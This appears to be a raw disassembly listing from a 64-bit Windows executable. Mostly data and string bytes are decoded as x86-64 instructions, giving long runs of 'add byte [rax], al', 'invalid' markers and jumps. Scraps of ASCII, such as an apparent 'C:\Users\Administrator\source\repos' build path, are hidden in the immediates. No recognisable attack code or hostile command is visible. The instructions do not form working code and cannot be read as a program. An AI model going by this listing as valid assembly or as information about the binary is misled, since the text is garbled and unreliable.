add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x14004d8], ah
add byte [rax], al
add byte [rax + 0x6d], ah
add byte [rax + 1], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], ah
xchg dword [rdx], ecx
add dword [rax], eax
and byte [rdi + 0x1400a], al
add byte [rax], al
push rbx
je 0x140141535
invalid
je 0x1401415a0
outsb dx, byte [rsi]
jne 0x14014159f
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
push rdx
push rdx
insd dword [rdi], dx
outsd dx, dword [rsi]
je 0x14014160b
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
imul esi, dword gs:[ebx + 0x74], 0x735c7972
jb 0x140141679
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x140141681
je 0x140141687
jae 0x140141652
imul ebp, dword [rdi + 0x2d], 0x37316636
xor dh, byte fs:[rdx]
invalid
invalid
adc eax, 0x14014
add byte [rax], al
outsb dx, byte [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x20000000], bh
add byte [rax], al
add ah, ch
adc eax, 0x14014
add byte [rax], al
outsb dx, byte [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x26000000], bl
add byte [rax], al
add byte [rbx + 0x3a], al
cmp bl, byte [r13 + r10*2 + 0x73]
invalid
jb 0x140141723
pop rsp
insd dword [rdi], dx
imul ebp, dword [rsi + 0x69], 0x61727473
je 0x14014172c
jb 0x14014171b
invalid
add dword [rax], eax
add byte [rax], al
add byte [eax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dl
add byte [rax], al
xor eax, dword [rax]
add byte [rax], al
jne 0x14014179d
add byte [rbx], dh
add byte [rax], al
add byte [rbp + 0x73], dh
jne 0x14014179d
imul edi, dword [rdx + 0x65], 0x65766f20
jb 0x140141799
and byte gs:[rdi + 0x76], ch
jb 0x140141799
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x140141757
ja 0x1401417a1
outsb dx, byte gs:[rsi]
and byte [rbx + 0x61], ah
insb byte [rdi], dx
invalid
add byte [rax + 0x1401416], ch
add byte [rax], al
add byte [rdi], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
push rdi
add byte [rax], al
add byte [rdx], cl
add byte [rax], al
add byte [rax + 0x6f], dh
jo 0x1401417e1
imul esi, dword [rbx + 0x6f], 0x6e64656e
ja 0x1401417db
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
and byte [0x1a33452a5], bh
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x1401417], al
add byte [rax], al
add byte [0x1401417ad], cl
add byte [rax], al
add byte [rax + 0x14014ef], dl
add byte [rax], al
add byte [rax], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rcx], cl
add byte [rax], al
add byte [rbx + 0x3a], al
cmp bl, byte [r13 + r10*2 + 0x73]
invalid
invalid
jb 0x140141843
pop rsp
insd dword [rdi], dx
imul ebp, dword [rsi + 0x69], 0x61727473
je 0x14014184c
jb 0x14014183b
jb 0x1401418a8
push rbx
je 0x140141899
jb 0x1401418ae
ja 0x1401418b8
js 0x1401418bc
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rbx
imul edi, dword [rdx + 0x65], 0x6f42664c
jns 0x14014189c
outsd dx, dword [rsi]
pop rsp
jb 0x140141902
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x140141912
je 0x140141918
xor word ss:[rdi], si
xor dh, byte fs:[rdx]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
pop qword [rax]
add byte [rax], al
or dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
invalid
insd dword [rdi], dx
jo 0x140143cf0
jns 0x140143cc7
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x140143ce2
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x69], 0x50746967
push rax
push rax
outsd dx, dword [rsi]
jae 0x140143cdc
jbe 0x140143cf4
jb 0x140143cf7
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x140143ce3
invalid
jbe 0x140143cff
jbe 0x140143cff
jb 0x140143d02
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x140143cfa
pop rdx
pop rdx
jb 0x140143d12
push rax
invalid
add byte [rax], ah
xchg byte [rax + rax*2], cl
add dword [rax], eax
add byte [rax], al
rol byte [rax + 0xd], 1
add dword [rax], eax
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add al, dh
in eax, dx
or al, 0x40
add dword [rax], eax
add byte [rax], al
xor dh, ch
or al, 0x40
add dword [rax], eax
add byte [rax], al
adc bh, ch
add byte [rax], dl
out dx, eax
or al, 0x40
add dword [rax], eax
add byte [rax], al
invalid
add byte [rdi], ch
invalid
jb 0x140143d78
jne 0x140143d77
jae 0x140143d79
je 0x140143d35
invalid
jo 0x140143d7d
pop rsp
jb 0x140143d82
jae 0x140143d83
invalid
insd dword [rdi], dx
invalid
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [0x14b143d45], bh
add byte [rax], al
add byte [rax], al
cmp eax, 0x14014
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], bh
add byte [rax], al
add byte [rbx], cl
add byte [rax], al
add byte [rax], al
cmp eax, 0x14014
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], dh
add byte [rax], al
add byte [rbx], cl
add byte [rax], al
add byte [rax], al
add byte [0x140157d92], bh
cmp eax, 0x14014
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rax], bl
add byte [rax], al
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
sbb al, 0
add byte [rax], al
add byte [0x140157daa], bh
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], ch
add byte [rax], al
invalid
outsd dx, dword [rsi]
je 0x14014a2e2
outsd dx, dword [rsi]
jne 0x14014a30d
push rax
push rax
jb 0x14014a311
imul esi, dword [rbx + 0x73], 0x446e6f69
outsb dx, byte gs:[rsi]
imul esp, dword [rbp + 0x64], 0x6e6e6f43
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
jae 0x14014a348
push rbp
outsb dx, byte [rsi]
jb 0x14014a33d
invalid
je 0x14014a35a
ja case.0x14001a414.150
outsd dx, dword [rsi]
jb 0x14014a351
push rbp
outsb dx, byte [rsi]
jb 0x14014a34f
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
je case.0x14001a414.149
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
jb 0x14014a35c
jb 0x14014a35c
jb 0x14014a35c
outsb dx, byte [rsi]
push rbp
jae 0x14014a37c
jb 0x14014a36a
outsd dx, dword [rsi]
je case.0x14001a414.151
jbe 0x14014a382
imul ebp, dword [rcx + riz*2 + 0x62], 0x654e656c
je 0x14014a3a2
je 0x14014a3a2
outsd dx, dword [rsi]
jb 0x14014a399
outsd dx, dword [rsi]
ja 0x14014a3a0
jb 0x14014a3a4
insb byte [rdi], dx
insb byte [rdi], dx
jb 0x14014a3a5
invalid
jae 0x14014a3a1
push rdi
outsd dx, dword [rsi]
jne 0x14014a3b9
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
outsd dx, dword [rsi]
je 0x14014a398
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x14014a3aa
invalid
invalid
je 0x14014a3cd
jb 0x14014a3d9
jae 0x14014a3a4
jae 0x14014a3a4
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x14014a3b1
invalid
jb 0x14014a3e5
imul r14d, dword [rdx + 0x65], 0x726f7463
imul esi, dword [rdx + 0x65], 0x726f7463
jns 0x14014a3c4
outsd dx, dword [rsi]
je 0x14014a3be
insd dword [rdi], dx
jo 0x14014a3f0
jns 0x14014a3d0
push rdx
invalid
outsb dx, byte [rsi]
insb byte [rdi], dx
jns 0x14014a3cc
imul ebp, dword [rbp + riz*2 + 0x73], 0x65747379
insd dword [rdi], dx
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jo case.0x14001a414.162
push rbx
push rbx
je 0x14014a401
insb byte [rdi], dx
je 0x14014a41d
je 0x14014a41d
je 0x14014a41d
ja 0x14014a416
outsd dx, dword [rsi]
jb case.0x14001a414.164
imul r13d, dword [rbp + r12*2 + 0x48], 0x6c646e61
imul ebp, dword [rbp + riz*2 + 0x48], 0x6c646e61
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
jbe 0x14014a418
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x6e], 0x49747570
invalid
outsb dx, byte fs:[rsi]
jo 0x14014a433
je 0x14014a409
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x14014a424
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x61], 0x69546174
push rsp
imul ebp, dword [rbp + 0x65], 0x74754f64
insd dword [rdi], dx
jne 0x14014a446
jne 0x14014a446
push rdi
jb 0x14014a43e
je 0x14014a43c
pop rdx
jb 0x14014a44a
jb 0x14014a44a
push rbx
je 0x14014a44d
jb 0x14014a441
jne 0x14014a451
insb byte [rdi], dx
outsd dx, dword [rsi]
je 0x14014a43d
imul esp, dword gs:[rcx + 0x62], 0x6c
imul r13d, dword gs:[rbp + r12*2 + 0x73], 0x65747379
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
push rcx
jne 0x14014a46d
je 0x14014a461
js 0x14014a466
js 0x14014a466
imul r13d, dword fs:[rbp + r12*2 + 0x54], 0x614c6f6f
imul r13d, dword [rbp + r12*2 + 0x54], 0x614c6f6f
imul ebp, dword [rbp + riz*2 + 0x54], 0x614c6f6f
jb 0x14014a47a
push rdx
push rdx
jae 0x14014a487
jae 0x14014a487
jne case.0x14001a414.173
invalid
jne 0x14014a492
jns 0x14014a466
js 0x14014a488
js 0x14014a488
invalid
jne 0x14014a49a
invalid
invalid
invalid
jb 0x14014a4ac
outsd dx, dword [rsi]
jae 0x14014a4b2
jae 0x14014a4a5
jae 0x14014a486
jae 0x14014a486
jbe 0x14014a4ae
jbe 0x14014a4ae
invalid
jae 0x14014a49d
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
invalid
outsb dx, byte [rsi]
jns 0x14014a49c
imul ebp, dword [rsi + 0x6b], 0x766e4973
invalid
outsb dx, byte [rsi]
imul esi, dword [rbx + 0x49], 0x6e
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x14014a4b9
insb byte [rdi], dx
imul esp, dword [rsi + rax*2 + 0x69], 0x616e656c
insd dword [rdi], dx
jb 0x14014a4cd
jb 0x14014a4cd
jb 0x14014a4cd
jne 0x14014a4d5
outsb dx, byte gs:[rsi]
je 0x14014a4b8
imul esi, dword [rbx + 0x74], 0x4c6f6f54
outsd dx, dword [rsi]
jae 0x14014a4e3
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [esi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
je 0x14014a4df
jb 0x14014a4ee
jne 0x14014a4ee
je 0x14014a4e5
push rbp
push rbp
outsb dx, byte [rsi]
jae 0x14014a4fa
jo 0x14014a4f7
jo 0x14014a4f7
outsd dx, dword [rsi]
jb 0x14014a4fe
push rbp
push rbp
outsb dx, byte [rsi]
js 0x14014a501
invalid
jne 0x14014a510
jne 0x14014a510
insw word [rdi], dx
outsd dx, dword [rsi]
jb 0x14014a51d
je 0x14014a50f
je 0x14014a50f
jb 0x14014a4ff
push rbp
outsb dx, byte [rsi]
invalid
invalid
outsd dx, dword gs:[esi]
jb 0x14014a51c
imul edi, dword [rdx + 0x65], 0x3000064
jp 0x14014a51a
add eax, dword [rcx]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
imul r13d, dword [rbp + r12*2 + 0x70], 0x2a687461
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x69], al
invalid
invalid
insb byte [rdi], dx
jo 0x14014a52f
invalid
je 0x14014a538
sub ah, byte [rsi + 0x61]
je 0x14014a536
insb byte [rdi], dx
and byte [rdx + 0x75], dh
outsb dx, byte [rsi]
je 0x14014a545
insd dword [rdi], dx
and byte gs:[rbp + 0x72], ah
jb 0x14014a552
jb 0x14014a554
outsd dx, dword [rsi]
jb 0x14014a51f
and byte [rcx + 0x2f], cl
and byte [r13 + 0x72], r12b
jb 0x14014a55d
jb 0x14014a52a
and byte [rdi + 0x70], ch
jb 0x14014a557
je 0x14014a561
imul ebp, dword [rdi + 0x6e], 0x69616620
and byte [rsi + 0x61], ah
imul ebp, dword [rbp + riz*2 + 0x64], 0x206f7420
insb byte [rdi], dx
and byte fs:[rdi + rbp*2 + 0x20], dh
invalid
jns 0x14014a57f
outsb dx, byte [rsi]
invalid
add byte [rax], al
add byte [rax], al
shl dword [rsp + rdx + 0x140], 1
add byte [rbx], cl
add byte [rax], al
add cl, dl
movsb byte [rdi], byte [rsi]
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte [r8], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
insb byte [rdi], dx
imul esp, dword [rdx + 0x72], 0x5c797261
add byte [rcx + rbp*2 + 0x62], ch
insb byte [rdi], dx
invalid
invalid
jb 0x14014a596
jb 0x14014a5b0
jns 0x14014a594
pop rsp
jae 0x14014a5ae
pop rsp
jae 0x14014a5b0
invalid
je 0x14014a582
jb 0x14014a5c9
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor byte [rbp + 0x14014], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dh
movsd dword [rdi], dword [rsi]
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte es:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx], ch
add byte [rax], al
add byte [rcx], cl
add byte [rax], al
add byte [rsi], cl
push rsp
add byte [rax + rax + 0x4c], al
add byte [rax + rax + 0x4c], r9b
add byte [rsi], ch
add byte [rax + rax + 0x4c], al
add byte [rax + rax], cl
add byte [rdi + 0x53], cl
push r11
and byte [rbp + 0x72], al
jb 0x14014a602
jb 0x14014a5b5
and byte [rax], ah
and byte [rax], ch
outsd dx, dword [rsi]
sub byte [rsi + 0x6f], al
jb 0x14014a608
invalid
and byte fs:[rbp + 0x72], ah
and byte [rbp + 0x72], ah
jb 0x14014a624
jb 0x14014a5d7
movsd dword [rdi], dword [rsi]
adc al, 0x40
add dword [rax], eax
add byte [rax], al
and al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
pop rax
invalid
outsb dx, byte [rsi]
outsd dx, dword fs:[rsi]
ja 0x14014a67a
pop rsp
outsd dx, dword [rsi]
jae 0x14014a639
jb 0x14014a680
add byte es:[rax], al
add byte [rax], ah
and byte [rax], ch
outsd dx, dword [rsi]
jb 0x14014a69b
sub dword [rax], esp
jb 0x14014a6a2
invalid
insd dword [rdi], dx
jo 0x1401729aa
jns 0x140172980
outsd dx, dword [rsi]
jae 0x1401729af
outsb dx, byte fs:[rsi]
invalid
outsb dx, byte [rsi]
jbe 0x1401729a9
insb byte [rdi], dx
imul esp, dword [rax + rdx*2 + 0x6f], 0x6e497472
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1401729b4
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x70], 0x64413476
jb 0x1401729c4
jae 0x1401729d4
outsb dx, byte [rsi]
jbe 0x1401729c6
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x70], 0x64413676
jb 0x1401729d6
jae 0x1401729e6
outsb dx, byte [rsi]
jbe case.0x14008ba4b.73
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x6f], 0x6e69616d
push 0x63617261
je 0x1401729ed
jb 0x1401729dc
push rdx
insb byte [rdi], dx
invalid
push rdx
insb byte [rdi], dx
invalid
insb byte [rdi], dx
push rdi
imul esi, dword [rax + rbp*2 + 0x43], 0x6f6e6e61
je 0x1401729f7
invalid
invalid
invalid
push rbx
je 0x140172a0b
outsd dx, dword [rsi]
jae 0x140172a3a
outsb dx, byte [rsi]
invalid
push rbp
jb 0x140172a44
jbe 0x140172a40
jb 0x140172a43
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x140172a4a
outsb dx, byte [rsi]
je 0x140172a49
jb 0x140172a54
invalid
jb 0x140172a29
and byte [rbp + 0x6e], ah
je 0x140172a59
jb 0x140172a5b
and byte fs:[rbp + 0x6e], dh
and byte [rbp + 0x6e], dh
jb 0x140172a61
invalid
outsb dx, byte [rsi]
imul ebp, dword [rsi + 0x6f], 0x77
outsb dx, byte [rsi]
and byte [rbx + 0x74], dh
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x3a], al
cmp bl, byte [r13 + r10*2 + 0x73]
invalid
jb 0x140172aab
pop rsp
insd dword [rdi], dx
insd dword [rdi], dx
imul ebp, dword [rsi + 0x69], 0x61727473
je 0x140172ab4
invalid
je 0x140172ab4
outsd dx, dword [rsi]
jb 0x140172aa3
invalid
invalid
jb 0x140172ab3
outsd dx, dword [rsi]
pop rsp
jb 0x140172ab5
imul esi, dword [ebx + 0x74], 0x735c7972
jb 0x140172abd
jb 0x140172acf
pop rsp
jae 0x140172acb
invalid
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x140172ac5
invalid
je 0x140172acb
jae 0x140172a96
imul ebp, dword [rdi + 0x2d], 0x37316636
xor dh, byte fs:[rdx]
invalid
add byte [rax], al
xor byte [rdx], ch
invalid
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax + rax + 0x120000], ah
add byte [rax], al
invalid
add byte [rdx], dl
add byte [rax], al
add byte [rax + 0x6d], ah
add byte [rax + 1], al
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
push rax
adc byte [rax], dl
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x10], dl
adc byte [rax + 1], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov al, 0x10
adc byte [rax + 1], al
add byte [rax + 0x1401010], dh
add byte [rax], al
add al, ah
or edx, dword [rax]
add dword [rax], eax
add byte [rax], al
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lock or edx, dword [rax]
add dword [rax], eax
add byte [rax], al
invalid
adc dword [rax + 1], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x1401153], ah
cmpsd dword [rsi], dword [rdi]
push rbx
adc dword [rax + 1], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add ch, cl
int 0x53
push rbx
adc dword [rax + 1], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add cl, ah
loope 0x140172fbd
push rbx
adc dword [rax + 1], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rbx], dl
invalid
push rsp
add byte [rax], al
adc edx, dword [rcx + rdx + 0x40]
add dword [rax], eax
invalid
adc dword [rax + 1], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x54], al
push rsp
push rsp
adc dword [rax + 1], eax
add dword [rax], eax
add byte [rax], al
outsd dx, dword [rsi]
add byte [rax], al
add byte [rdi + 0x54], ch
push rsp
push rsp
adc dword [rax + 1], eax
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x1401154], dl
add byte [rax], al
nop
push rsp
adc dword [rax + 1], eax
add byte [rax], al
add byte [rbp + 0x1401154], ch
add byte [rax], al
add byte [rax + 0x1401153], al
add byte [rax], al
add byte [rax + 0x1401153], al
add byte [rax], al
add byte [rax], al
ficom dword [rcx + rdx + 0x40]
add dword [rax], eax
add byte [rax], al
or edx, dword [rbp + 0x11]
add dword [rax], eax
add byte [rax], al
cmp byte [rbp + 0x11], dl
invalid
invalid
add byte [rax], al
ficom dword [rcx + rdx + 0x40]
add dword [rax], eax
add byte [rax], al
or edx, dword [rbp + 0x11]
add dword [rax], eax
add byte [rax], al
cmp byte [rbp + 0x11], dl
add dword [rax], eax
add byte [rax], al
push 0x1401155
add byte [rax], al
add byte [rax + 0x55], ch
adc dword [rax + 1], eax
add byte [rax], al
add byte [rax], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [0x140172fdd], ah
add byte [rax], al
add byte [rsi], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], dh
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
ror byte [rcx + 0x14012], 1
add byte [rax], al
call 0x1415742ce
add byte [rax], al
add byte [rdx], cl
mov dl, byte [rdx]
add dword [rax], eax
add byte [rax], al
invalid
call qword [rbx]
adc al, 64
invalid
adc edx, dword [rax + rax*2]
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rsi], al
invalid
adc al, 20
invalid
add byte [rax], al
invalid
adc al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], dl
invalid
add byte [rax], al
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
or eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
or eax, 0
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [0x140175405], dl
add byte [rax], al
add byte [rdx], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rax], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
xor ch, byte [rcx]
invalid
test dword [rsp + rbp*8 - 0x13502301], ebp
push qword [rbp + 50326807]
sbb ch, ch
invalid